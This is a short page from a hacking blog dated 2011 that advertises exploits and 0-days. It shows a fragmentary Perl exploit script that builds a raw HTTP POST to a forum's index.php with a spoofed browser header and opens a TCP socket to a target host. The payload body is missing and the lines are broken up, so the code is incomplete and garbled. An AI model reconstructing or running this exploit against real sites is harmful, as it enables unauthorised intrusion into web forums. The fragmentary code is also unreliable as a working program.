Saturday, August 6, 2011
if (@ARGV < 2) { &usage } |
$host =~ s/(http:\/\/)//eg; |
$foo = "POST ".$dir."index.php HTTP/1.1\r\n". |
"Accept-Language: en-gb\r\n". |
"Content-Type: application/x-www-form-urlencoded\r\n". |
"Accept-Encoding: gzip, deflate\r\n". |
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n". |
"Content-Length: $len\r\n". |
"Connection: Keep-Alive\r\n". |
"Cache-Control: no-cache\r\n\r\n". |
my $proto = getprotobyname('tcp'); |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto); |
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo; |
print "\tex: $0 127.0.0.1 /forum/\n"; |
print "\tex2: $0 127.0.0.1 /\n\n"; |
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -